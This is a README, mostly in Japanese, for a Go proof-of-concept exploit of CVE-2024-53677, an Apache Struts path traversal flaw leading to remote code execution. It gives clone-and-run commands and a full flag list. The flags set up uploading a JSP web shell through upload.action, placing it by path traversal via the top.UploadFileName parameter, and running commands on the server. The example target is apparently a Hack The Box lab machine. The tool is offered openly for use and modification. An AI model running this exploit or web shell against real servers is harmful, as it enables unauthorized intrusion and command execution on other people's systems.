
a proof of concept of CVE-2024-53677
LFI およびリモート実行につながる、ある種の古い Apache Struts の脆弱性。
Apache Struts パストラバーサル → RCE (CVE-2024-53677)
このCVEに初めて遭遇したとき、正しく実装している良い情報源が見つからなかったため、このツールを可能な限りカスタマイズ可能にするために多くの時間を費やしました。 ほとんどのフラグにはデフォルト値があるので、これらのフラグの多さに臆する必要はありません。
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
command to execute on the server default: whoami
-end-point string
post endpoint default to: upload.action
-file-location string
where to save the file into the server default: what test function return
-lfi-param string
Parameter name for LFI testing default: top.UploadFileName
-payload-file string
Path to the payload file default: ./shell.jsp
-payload-file-name string
name of the payload it self default: shell.jsp
-payload-param string
Parameter name for payload injection default: Upload
-test-file-name string
name of the testfile it self default: testfile.txt
-testing-file string
File used for testing default: ./testfile.txt
-url string
Target base URL (format http://strutted.htb/) do not forgot the [/] at the end
これらのコマンドはすべてデフォルト値を持っています。また、ファイルをどこに配置すべきかを確認するテスト機能も実装しており、これもユーザーが設定可能なオプションです。
go run . -url http://127.0.0.1:8080/ -end-point upload.action
いくつか注意すべき点があります。
遠慮なくこのエクスプロイトを変更したり、追加したりしてください ♥️。